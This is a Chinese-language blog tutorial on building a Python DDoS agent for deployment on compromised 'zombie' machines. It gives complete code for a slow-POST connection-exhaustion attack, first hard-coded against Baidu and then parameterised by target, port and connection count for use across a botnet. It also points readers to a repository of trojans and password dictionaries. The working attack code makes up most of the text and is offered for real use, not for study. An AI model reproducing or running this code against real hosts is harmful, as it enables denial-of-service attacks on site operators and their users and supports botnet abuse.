基于python的ddos工具

0x00 ddos

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。

这里我选择用python来写安装在肉鸡上的代理程序。

0x01 需要安装的库

  • socket: Python 提供了两个基本的 socket 模块。第一个是 Socket,它提供了标准的 BSD Sockets API。第二个是 SocketServer,它提供了服务器中心类,可以简化网络服务器的开发。
  • time: 在产生错误时我们可以sleep一个时间来查看错误。
  • threading: 多线程的库,增加我们的请求量。
  • optparse: 此模块用来处理命令行参数,使我们在统一管理时更方便。

0x02 代码实现

我们先不加命令行参数写一个,方便调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#python3.6

import socket
import time
import threading

MAX_CONN=10
PORT=80
HOST="www.baidu.com"
PAGE="/"

data=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: ddos_test\r\n"
"\r\n" % (PAGE,HOST))

data2=data.encode('utf-8')

socks=[]

def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(data2)
print("[+] Send data OK!,conn=%d\n" % i)
socks.append(s)
except:
print ("[-] Could not connect to server or send error")
time.sleep(5)


def send_thread():
global socks
while True:
for s in socks:
try:
s.send(b"f")
print ("[+] send OK! %s"%s)
except:
print ("[-] send error\n")
socks.remove(s)
s.close()
time.sleep(1)


conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()


这里我们仅设置了10个最大连接数,然后向百度的80端口不断发送post请求。

效果如下:

0x03 增加命令行参数

实际情况中,我们经常要把ddos脚本放在我们已经控制的僵尸网络中,控制大量的计算机启动脚本,我们肯定不能每切换攻击一个目标就对代码中的参数更改一次,所以我们要使目标ip,端口,页面,以及攻击的强度通过我们输入参数来更改,为实现这个目标,我们导入optparse库接收命令行参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#python3.6

#用例:python ddos.py -w "www.hao123.com" -p 80 -n 200 --page "/"
#-h查看帮助
#-w参数和-p参数不可缺省

import optparse
import socket
import time
import threading


socks=[]

def conn_thread(PORT,HOST,data2,MAX_CONN):
global socks
for i in range(0,MAX_CONN):
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(data2)
print("[+] Send data OK!,conn=%d\n" % i)
socks.append(s)
except:
print ("[-] Could not connect to server or send error")
time.sleep(5)


def send_thread():
global socks
while True:
for s in socks:
try:
s.send(b"f")
print ("[+] send OK! %s"%s)
except:
print ("[-] send error\n")
socks.remove(s)
s.close()
time.sleep(1)


def main():
MAX_CONN = 10
PORT = 80
HOST = "www.baidu.com"
PAGE = "/"
MAX_CONN = 10

parser = optparse.OptionParser()
parser.add_option('-w', dest='HOST', type='string', help="IP address or Website")
parser.add_option('-p', dest='PORT', type='int', help="Port num")
parser.add_option('-n', dest='MAX_CONN', type='int', help="Max connect num")
parser.add_option('--page', dest='PAGE', type='string', help="Url page")
(options, args) = parser.parse_args()
if(options.HOST==None)|(options.PORT==None):
print('---wrong input!---'+'\n')
exit(0)
else:
HOST = options.HOST
PORT = options.PORT
if(options.PAGE):
PAGE = options.PAGE
if(options.MAX_CONN):
MAX_CONN = options.MAX_CONN

data = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: ddos_test\r\n"
"\r\n" % (PAGE, HOST))
print("****************************")
print("****************************")
print(data)
print("MAX_CONN={0}".format(MAX_CONN))
print("****************************")
print("****************************")
data2 = data.encode('utf-8')
time.sleep(5)
conn_th=threading.Thread(target=conn_thread,args=(PORT,HOST,data2,MAX_CONN))
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()


if __name__ =='__main__':
main()

我们通过optparse库读取命令行输入参数,其中host和port是必要参数,max_conn和page是可选参数。

效果如下:

我们植入肉鸡后,就可以通过命令行调用程序并选择攻击目标了。

0x04 其他

blog中所有写好的工具,以及常用的木马、字典,都放在
https://github.com/echohun/tools 感兴趣的大佬们可以star一下,十分感激。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!